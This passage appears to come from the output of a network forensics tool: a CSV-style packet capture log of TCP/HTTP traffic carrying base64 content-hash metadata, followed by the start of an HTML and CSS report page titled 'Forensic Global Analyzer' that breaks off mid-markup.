\"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": \"\"SAMEORIGIN\"\", \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": \"\"1; mode=block\"\", \"\"Unknown_Headers\"\": \"\"{b'X-Served-By': b'cache-ams21066-AMS', b'X-Cache': b'HIT', b'X-Cache-Hits': b'1', b'X-Timer': b'S1760461217.265639,VS0,VE1', b'X-CID': b'10006', b'X-CCC': b'1d40cc5f-1675-4116-a909-9bee0e886eaa', b'X-Cache-Status': b'STALE'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"MajorVersion\\\"\":1,\\\"\"MinorVersion\\\"\":0,\\\"\"HashOfHashes\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"HashOfHashesString\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"ContentLength\\\"\":79240605,\\\"\"PieceSize\\\"\":1048576,\\\"\"Pieces\\\"\":[\\\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\"\",\\\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\"\",\\\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\"\",\\\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\"\",\\\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\"\",\\\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\"\",\\\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\"\",\\\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\"\",\\\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\"\",\\\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\"\",\\\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\"\",\\\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\"\",\\\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\"\",\\\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\"\",\\\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\"\",\\\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\"\",\\\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\"\",\\\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\"\",\\\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\"\",\\\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\"\",\\\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\"\",\\\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\"\",\\\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\"\",\\\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\"\",\\\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\"\",\\\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\"\",\\\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\"\",\\\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\"\",\\\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\"\",\\\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\"\",\\\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\"\",\\\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\"\",\\\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\"\",\\\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\",\\\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\"\",\\\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\"\",\\\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\"\",\\\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\"\",\\\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\"\",\\\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\"\",\\\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\"\",\\\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\"\",\\\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\"\",\\\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\"\",\\\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\"\",\\\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\"\",\\\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\"\",\\\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\"\",\\\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\"\",\\\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\"\",\\\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\"\",\\\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\"\",\\\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\"\",\\\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\"\",\\\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\"\",\\\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\"\",\\\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\"\",\\\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\"\",\\\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\"\",\\\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\"\",\\\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\"\",\\\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\"\",\\\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\"\",\\\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\"\",\\\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\"\",\\\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\"\",\\\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\"\",\\\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\"\",\\\"\"R45M1lu1fzp9voKArRf\"\"}}]\"\n2026-07-09 12:22:50.529303,7,TCP 10.152.152.11:64032 -> 77.111.102.205:80,10.152.152.11,77.111.102.205,64032,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3187970895 Ack=1993407816,bc24112907bbbc2411360d0c080045000028d38440008006d06b0a98980b4d6f66cdfa200050be04934f76d0fd485010040295140000,\".$.)...$.6\n...E..(..@....k\n...Mof.. .P...Ov..HP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54148, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53355, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.111.102.205\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 80, \"\"seq\"\": 3187970895, \"\"ack\"\": 1993407816, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 38164, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:22:50.529325,8,TCP 77.111.102.205:80 -> 10.152.152.11:64032,77.111.102.205,10.152.152.11,80,64032,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=1993407816 Ack=3187970895,bc2411360d0cbc24112907bb08004500018ddf834000400603084d6f66cd0a98980b0050fa2076d0fd48be04934f5018003f585f00004e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d,\"NEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 397, \"\"id\"\": 57219, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 776, \"\"src\"\": \"\"77.111.102.205\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64032, \"\"seq\"\": 1993407816, \"\"ack\"\": 3187970895, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 22623, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"NEA85BBu0AXKufG+IcYd5FG4=\\\"\",\\\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\"\",\\\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\"\",\\\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\"\",\\\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\"\",\\\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\"\",\\\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\"\",\\\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"\"]}\"\"}}]\"\n2026-07-09 12:22:50.529443,9,TCP 10.152.152.11:64032 -> 77.111.102.205:80,10.152.152.11,77.111.102.205,64032,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3187970895 Ack=1993408173,bc24112907bbbc2411360d0c080045000028d38540008006d06a0a98980b4d6f66cdfa200050be04934f76d0fead5010040193b00000,\".$.)...$.6\n...E..(..@....j\n...Mof.. .P...Ov...P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54149, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53354, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.111.102.205\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 80, \"\"seq\"\": 3187970895, \"\"ack\"\": 1993408173, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 37808, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:22:59.608912,10,TCP 77.111.102.205:80 -> 10.152.152.11:64032,77.111.102.205,10.152.152.11,80,64032,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=1993408173 Ack=3187970895,bc2411360d0cbc24112907bb080045000028df8440004006046c4d6f66cd0a98980b0050fa2076d0feadbe04934f5011003f56fa0000,\".$.6\n..$.)....E..(..@.@..lMof.\n....P. v......OP..?V...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57220, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1132, \"\"src\"\": \"\"77.111.102.205\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64032, \"\"seq\"\": 1993408173, \"\"ack\"\": 3187970895, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 22266, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:22:59.609090,11,TCP 10.152.152.11:64032 -> 77.111.102.205:80,10.152.152.11,77.111.102.205,64032,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3187970895 Ack=1993408174,bc24112907bbbc2411360d0c080045000028d38640008006d0690a98980b4d6f66cdfa200050be04934f76d0feae5010040193af0000,\".$.)...$.6\n...E..(..@....i\n...Mof.. .P...Ov...P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54150, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53353, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.111.102.205\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 80, \"\"seq\"\": 3187970895, \"\"ack\"\": 1993408174, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 37807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:22:59.609222,12,TCP 10.152.152.11:64032 -> 77.111.102.205:80,10.152.152.11,77.111.102.205,64032,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=3187970895 Ack=1993408174,bc24112907bbbc2411360d0c080045000028d38740008006d0680a98980b4d6f66cdfa200050be04934f76d0feae5011040193ae0000,\".$.)...$.6\n...E..(..@....h\n...Mof.. .P...Ov...P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54151, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53352, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.111.102.205\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 80, \"\"seq\"\": 3187970895, \"\"ack\"\": 1993408174, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 37806, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:22:59.609238,13,TCP 77.111.102.205:80 -> 10.152.152.11:64032,77.111.102.205,10.152.152.11,80,64032,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1993408174 Ack=3187970896,bc2411360d0cbc24112907bb080045000028000040004006e3f04d6f66cd0a98980b0050fa2076d0feaebe0493505010003f97700000,\".$.6\n..$.)....E..(..@.@...Mof.\n....P. v......PP..?.p..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58352, \"\"src\"\": \"\"77.111.102.205\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64032, \"\"seq\"\": 1993408174, \"\"ack\"\": 3187970896, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38768, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                